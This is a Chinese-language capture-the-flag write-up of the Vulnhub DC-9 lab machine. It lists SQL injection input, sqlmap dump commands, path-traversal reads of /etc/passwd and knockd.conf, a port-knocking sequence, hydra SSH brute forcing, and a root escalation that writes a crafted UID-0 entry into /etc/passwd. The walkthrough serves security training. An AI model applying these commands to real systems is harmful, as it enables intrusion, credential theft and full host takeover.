当前位置: 首页 > news >正文

Vulnhub靶场DC-9练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 发现SQL注入点
    • 2. Sqlmap跑数据
    • 3. 文件包含
    • 4. SSH爆破+端口敲门服务
    • 5. 提权(写入/etc/passwd)
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-9.zip

介绍:The ultimate goal of this challenge is to get root and to read the one and only flag。只有一个flag。



0x01 主机信息收集


kali查询本机ip,执行命令:ifconfig

kali本机ip:192.168.22.48

探测目标主机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24

目标主机ip:192.168.22.14

探测目标主机开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.22.14

开放了22端口(filtered ssh表示被过滤了),ssh服务;80端口,http服务,Apache2.4.38。

在这里插入图片描述




0x02 站点信息收集


访问站点:http://192.168.22.14

探测站点的目录结构,执行命令:dirsearch -u 192.168.22.14

在这里插入图片描述




0x03 漏洞查找与利用


1. 发现SQL注入点


在search.php页面,可以提交数据进行查询,并返回查询的结果。

在这里插入图片描述


在manage.php页面可以提交用户名和密码进行登录。

在这里插入图片描述



综合上面两点,考虑在search页面试一下有没有SQL注入。

在search页面,http://192.168.22.14/search.php 提交查询的内容后,查询的结果显示在 http://192.168.22.14/results.php ,考虑是post方式,查询的数据在请求体中。抓包确认一下。

在这里插入图片描述


这里查询可以输入用户名之类的,所以考虑是字符型注入,重点是单引号闭合和注释多余的代码。构造语句:1‘ or 1=1 # ,预期的结果是查询出所有内容。在Display All Records页面,可以看到有17条记录,是所有的内容。

在search页面提交构造的语句:1‘ or 1=1 #

返回的结果是17条记录,说明查询成功。说明这里存在SQL注入。



2. Sqlmap跑数据


这里是POST方式,所以需要使用 -data 来指定参数。

确定是否存在注入,执行语句:sqlmap -u http://192.168.22.14/results.php --data “search=1”

确定是有注入的,并且数据是Mysql。

在这里插入图片描述


获取数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --dbs

有三个数据库:Staff,users,information_schema

在这里插入图片描述


确定当前链接的数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --current-db

当前的数据库是Staff。

在这里插入图片描述



获取Staff数据库的所有表名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff --tables

有两个表:StaffDetails,Users

在这里插入图片描述


获取Staff数据库,Users表的所有字段名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --columns

有三个字段:Password,UserID,Username

在这里插入图片描述


这三个字段看起来都有点用,直接获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --dump

在这里插入图片描述


admin用户的密码:856f5de590ef37314e7c3bdf6f8a66dc

是一个32位的数字和字母混合起来的密码,考虑MD5加密。

丢到网站里解密:https://www.somd5.com/

解密结果:transorbital1



3. 文件包含


回到站点的Manage页面,用上面的用户名和密码登录。

在这里插入图片描述


其他的页面跟登录前没什么区别,多了Add Record,是一个插入数据的地方。

但是在welcome.php页面这里有个文件不存在的提示。考虑文件包含。

构造:http://192.168.22.14/manage.php?file=/etc/passwd ,页面没有变化。

在路径前面加 ../ ,直到可以回显。

构造:http://192.168.22.14/manage.php?file=../../../../etc/passwd

可以看到passwd文件的内容。

在这里插入图片描述


可以看到很多的用户名。想到之前获取数据库表的时候,还有个users数据库。

获取这个数据库的表:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users —tables

有个UserDetails表。

在这里插入图片描述


获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users -T UserDetails --dump

在这里插入图片描述


这个表里的username用户名在/etc/passwd里面都出现过。

把username和password分别保存到文件user.txt和passwd.txt中,保存的时候去掉每一行后面的空格还有最后的空白行。



4. SSH爆破+端口敲门服务


利用hydra进行ssh爆破,执行命令:hydra -L user.txt -P password.txt 192.168.22.14 ssh

提示目标主机的22端口连不上。

在这里插入图片描述



前面进行端口探测的时候,22端口是过滤的。


考虑端口敲门服务,即knockd服务。简单来说,就是Linux系统其实开启了某个服务端口,但是knockd服务通过动态的添加iptables规则来隐藏系统开启的服务。需要使用自定义的一系列序列号来“敲门”,使被隐藏的服务可以对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

Linux 的 Port Knocking 端口碰撞(端口敲门)

kncoked服务的配置文件是 /etc/knockd.conf ,在这个文件中指明了需要的序列号sequence。

前面文件包含的地方可以查看系统文件,访问:[http://192.168.22.14/manage.php?file=../../../../etc/](http://192.168.22.14/manage.php?file=../../../../etc/passwd)knockd.conf

可以看到用来openssh的序列号是:7469,8475,9842

在这里插入图片描述


执行敲门命令开启22端口:knock 192.168.22.14 7469 8475 9842

执行完以后再看一下目标主机的开放端口,22开启了。(可以和最开始nmap的结果进行对比)

在这里插入图片描述



再来用hydra爆破ssh:hydra -L user.txt -P password.txt 192.168.22.14 ssh

可以看到有三个用户。

在这里插入图片描述


分别ssh登录上这三个用户:ssh username@192.168.22.14

在家目录下分别执行:ls -a (列出目录下的所有文件,包括以 . 开头的隐含文件)

在janitor用户下发现多了一个 .secrets-for-putin 。

查看一下内容,发现了几个密码。

在这里插入图片描述


将这几个密码放到前面保存的密码文件password.txt中,重新用hydra进行ssh爆破:hydra -L user.txt -P password.txt ssh://192.168.22.14

可以看到多了一个用户被破解出来。

在这里插入图片描述


再登录一下这个新用户:ssh fredf@192.168.22.14



5. 提权(写入/etc/passwd)


查看可以进行提权的利用点:sudo -l

这里有个test文件可以以root身份执行。

在这里插入图片描述


进入这个目录:cd /opt/devstuff/dist/test

执行test文件:./test

在这里插入图片描述


这个文件的使用和test.py有关。查找一下这个文件在哪:find / -name test.py 2>/dev/null

在这里插入图片描述


查看这个脚本的内容:cat /opt/devstuff/test.py

#!/usr/bin/pythonimport sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()


这个脚本的作用就是将第一个参数的内容读取出来,添加到第二个参数中。这两个参数是文件的路径名字。

可以考虑给/etc/passwd写入一个具有root权限的用户,用户名为admin,密码为123456。

所以构造一条/etc/passwd的内容保存在一个文件中,利用test命令写入到/etc/passwd文件中。

/etc/passwd的文件结构:

用户名:密码hash值:uid:gid:描述性信息:home目录:默认shell 其中,uid=gid=0为超级用户,默认shell一般为/bin/bash。


(一开始构造了一个不需要密码的超级用户:hack::0:0::/root:/bin/bash ,结果切换用户登录的时候提示输入密码,所以重新构造一个需要密码的超级用户。用户名为dcdc,密码为123456。)

先用openssl生成admin用户的加密密码:openssl passwd -1 -salt dcdc 123456

得到加密的密码:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1

在这里插入图片描述


构造要插入的内容:dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash

Linux中/tmp目录是任何用户都可以写的。

将构造的数据写入/tmp/admin中:echo 'dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash' > /tmp/dcdc

再将构造的用户利用test写入passwd文件中:sudo /opt/devstuff/dist/test/test /tmp/dcdc /etc/passwd

看一下/etc/passwd文件的内容,可以看到写入成功。

在这里插入图片描述


切换到用户dcdc,进入/root目录,成功。

在这里插入图片描述


0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。(22端口被过滤)

站点信息收集:

  1. dirsearch扫描站点的目录结构。
  2. 寻找sql注入点,确定注入类型。

漏洞利用:

  1. sqlmap跑数据库,获取登录的用户名和密码。
  2. 发现文件包含。
  3. hydra爆破ssh。
  4. knock服务开启22端口。
  5. 提权,将新用户写入/etc/passwd。



相关文章:

Vulnhub靶场DC-9练习

目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. 发现SQL注入点2. Sqlmap跑数据3. 文件包含4. SSH爆破端口敲门服务5. 提权(写入/etc/passwd) 0x04 总结 0x00 准备 下载链接:https://download.vulnhub.com/dc/DC-9.z…...

Java对象内存布局和对象头

文章目录 面试题Object object new Object() 谈谈你对这句话的理解? 对象在堆内存中存储布局权威定义(周志明老师JVM第三版)对象在堆内存中的存储布局详解对象头的MarkWord源码对象标记源码 对象内存布局(使用JOL证明&#xff09…...

python:基于YOLO框架和遥感图像的目标检测

作者:CSDN _养乐多_ 本文将介绍如何通过YOLO框架和遥感图像进行目标检测的代码。 文章目录 一、数据集下载与格式转换1.1 NWPU VHR-10(73.1 MB)1.2 DIOR(7.06 GB)1.3 配置data.yaml 二、训练三、训练结果 一、数据集…...

DAMA学习笔记(十一)-元数据管理

1.引言 元数据最常见的定义是“关于数据的数据”。它描述了数据本身(如数据库、数据元素、数据模型),数据表示的概念(如业务流程、应用系统、软件代码、技术基础设施),数据与概念之间的联系(关系…...

密码学基本理论

密码学是研究信息安全保护的科学,实现信息的保密性、完整性、可用性以及抗抵赖性 根据密码分析者在破译时已经具备的前提条件,密码分析攻击类型分类: 唯密文攻击:已知密文;未知明文+秘钥已知明文攻击:已知部分明文和密文对;未知秘钥+算法选择明文攻击:已知明文+算法--…...

【深度学习】【语音TTS】vits 论文,Variational Inference Text-to-Speech(1)

代码:https://github.com/jaywalnut310/vits 论文:https://arxiv.org/abs/2106.06103 文章目录 摘要1. 引言2. 方法2.1. 变分推理2.1.1. 概述2.1.2. 重构损失2.1.3. KL散度2.2. 对齐估计2.2.1. 单调对齐搜索2.2.2. 从文本预测时长2.3. 对抗训练2.4. 最终损失2.5. 模型架构2.5…...

javascript中 window 相关知识点以及代码演示

一.了解window 在JavaScript中,window对象是浏览器的全局对象,它不仅代表了浏览器窗口,同时也充当了ECMAScript中的Global对象的角色。因此,深入了解和掌握window对象的属性和方法对于JavaScript开发者来说至关重要。 以下内容将…...

企业社会责任(CSR)国际标准有哪些?

以下是一些常见的企业社会责任(CSR)国际标准和相关体系等: 原则性、指南性标准 ISO 26000《社会责任指南》 :将社会责任归纳为7个核心方面,即公司治理、人权、劳工、环境、公平运营实践、消费者问题以及对社会发展作贡…...

The C programming language (second edition,KR) exercise(CHAPTER 7)

E x c e r c i s e 7 − 1 Excercise\quad 7-1 Excercise7−1: #include <stdio.h> #include <string.h> #include <ctype.h>enum type {LOWER, UPPER };int main(int argc, char *argv[]) {int c, mode = -1;if (stricmp(*argv, "lower.exe") =…...

面向服务架构(SOA)介绍

在汽车电子电气架构还处于分布式时代时&#xff0c;汽车软件的开发方式主要是采用嵌入式软件进行开发&#xff0c;而随着汽车智能化程度的加深&#xff0c;更加复杂且多样的功能需求让汽车软件在复杂度上再上一层。在整车的自动驾驶方面&#xff0c;由于未来高阶自动驾驶能力的…...

关于使用Next遇到的一些新特性

用next之后发现&#xff0c;这是作为全栈比较好用的框架 API 1、app Router 这是目前next官方以及未来推荐的新技术方向 若使用api路由用来管理后端api接口 &#xff08;1&#xff09;此时在app文件夹下创建 api名称目录&#xff08;如 getApiKey&#xff09; &#xff08;…...

Python 爬虫入门(七):requests 库的使用「详细介绍」

Python 爬虫入门&#xff08;七&#xff09;&#xff1a;requests 库的使用「详细介绍」 前言1. 初识 requests1.1 安装 requests 库1.2 发送 GET 请求1.3 发送 POST 请求 2. HTTP 请求详解2.1 请求方法2.2 请求头2.3 请求参数 3. 处理响应3.1 响应内容3.2 响应状态码3.3 响应头…...

两端约束的最优控制问题及其数值解法

问题的基本形式 设 n n n维系统状态房产 x ˙ ( t ) f [ x ( t ) , u ( t ) , t ] \dot{x}(t)f[x(t),u(t),t] x˙(t)f[x(t),u(t),t]&#xff0c;控制向量 u ( t ) ∈ Ω u(t)\in\Omega u(t)∈Ω是分段连续函数&#xff0c; Ω ∈ R m \Omega\in R^m Ω∈Rm是有界闭集&#xf…...

电磁仿真--基本操作-CST-(6)-导线周围磁场

目录 1. 简介 2. 过程 2.1 新建工程 2.2 选择求解器 2.3 设置单位 2.4 设置频率 2.5 绘制导线 2.6 Background 2.7 边界条件 2.8 设置激励源 2.9 查看结果 3. 其他设置 3.1 网格类型 3.2 集总网络元件 3.3 阻抗和导纳矩阵 3.4 自适应网格细化 3.4 提升计算效率…...

用Java手写jvm之模拟方法调用指令invokexxx和方法返回指令xreturn

写在前面 源码 。 本文一起看下方法调用相关的指令invokexxx以及方法返回&#xff08;栈帧弹出线程栈&#xff09;相关的指令xReturn 。 1&#xff1a;正文 因为invokexxx指令和普通的指令不同&#xff0c;会创建一个新的栈帧&#xff0c;并压倒操作数栈中&#xff0c;所以我…...

自定义枚举类型检查

/*** 工单状态&#xff0c;使用字典&#xff1a;order_item_state*/ CheckEnum(nullAble true, enumType OrderItemStateEnum.class) private String workState; 注解类 package com.gdyunst.core.tool.validation;import javax.validation.Constraint; import javax.valid…...

探索四川财谷通抖音小店:安全与信赖的购物新体验

在数字经济蓬勃发展的今天&#xff0c;抖音平台凭借其庞大的用户基础和强大的内容生态&#xff0c;逐渐成为了电商领域的一股不可忽视的力量。其中&#xff0c;四川财谷通抖音小店作为这一浪潮中的佼佼者&#xff0c;不仅以其丰富的商品种类和独特的品牌魅力吸引了众多消费者的…...

systemd-manage系统服务图形化管理工具使用教程

1. systemd-manage介绍 systemd-manage是一个开源的基于systemd服务管理的图形化工具&#xff0c;使用qt图形库进行开发&#xff0c;可以提供服务管理&#xff0c;用户会话&#xff0c;配置文件修改&#xff0c;日志查询&#xff0c;性能分析&#xff0c;进程管理等功能。图形…...

移除元素(LeetCode)

题目 给你一个数组 和一个值 &#xff0c;你需要 原地 移除所有数值等于 的元素&#xff0c;并返回移除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须仅使用 额外空间并 原地 修改输入数组。 元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。 解…...

代码随想录27期|Python|Day38|509斐波那契|738.爬楼梯|746.746. 使用最小花费爬楼梯

贴一下动态规划的步骤&#xff08;5步&#xff09;&#xff0c;就像是之前递归一样&#xff0c;需要每次落实到位。 确定dp数组&#xff08;dp table&#xff09;以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 ​​​​​509. 斐波那契 注意到n的范…...

地震勘探——干扰波识别、井中地震时距曲线特点

目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波&#xff1a;可以用来解决所提出的地质任务的波&#xff1b;干扰波&#xff1a;所有妨碍辨认、追踪有效波的其他波。 地震勘探中&#xff0c;有效波和干扰波是相对的。例如&#xff0c;在反射波…...

微信小程序之bind和catch

这两个呢&#xff0c;都是绑定事件用的&#xff0c;具体使用有些小区别。 官方文档&#xff1a; 事件冒泡处理不同 bind&#xff1a;绑定的事件会向上冒泡&#xff0c;即触发当前组件的事件后&#xff0c;还会继续触发父组件的相同事件。例如&#xff0c;有一个子视图绑定了b…...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

SpringTask-03.入门案例

一.入门案例 启动类&#xff1a; package com.sky;import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cache.annotation.EnableCach…...

DBLP数据库是什么?

DBLP&#xff08;Digital Bibliography & Library Project&#xff09;Computer Science Bibliography是全球著名的计算机科学出版物的开放书目数据库。DBLP所收录的期刊和会议论文质量较高&#xff0c;数据库文献更新速度很快&#xff0c;很好地反映了国际计算机科学学术研…...

微服务通信安全:深入解析mTLS的原理与实践

&#x1f525;「炎码工坊」技术弹药已装填&#xff01; 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、引言&#xff1a;微服务时代的通信安全挑战 随着云原生和微服务架构的普及&#xff0c;服务间的通信安全成为系统设计的核心议题。传统的单体架构中&…...

Java 与 MySQL 性能优化:MySQL 慢 SQL 诊断与分析方法详解

文章目录 一、开启慢查询日志&#xff0c;定位耗时SQL1.1 查看慢查询日志是否开启1.2 临时开启慢查询日志1.3 永久开启慢查询日志1.4 分析慢查询日志 二、使用EXPLAIN分析SQL执行计划2.1 EXPLAIN的基本使用2.2 EXPLAIN分析案例2.3 根据EXPLAIN结果优化SQL 三、使用SHOW PROFILE…...

Spring AOP代理对象生成原理

代理对象生成的关键类是【AnnotationAwareAspectJAutoProxyCreator】&#xff0c;这个类继承了【BeanPostProcessor】是一个后置处理器 在bean对象生命周期中初始化时执行【org.springframework.beans.factory.config.BeanPostProcessor#postProcessAfterInitialization】方法时…...

ThreadLocal 源码

ThreadLocal 源码 此类提供线程局部变量。这些变量不同于它们的普通对应物&#xff0c;因为每个访问一个线程局部变量的线程&#xff08;通过其 get 或 set 方法&#xff09;都有自己独立初始化的变量副本。ThreadLocal 实例通常是类中的私有静态字段&#xff0c;这些类希望将…...

Python 高级应用10:在python 大型项目中 FastAPI 和 Django 的相互配合

无论是python&#xff0c;或者java 的大型项目中&#xff0c;都会涉及到 自身平台微服务之间的相互调用&#xff0c;以及和第三发平台的 接口对接&#xff0c;那在python 中是怎么实现的呢&#xff1f; 在 Python Web 开发中&#xff0c;FastAPI 和 Django 是两个重要但定位不…...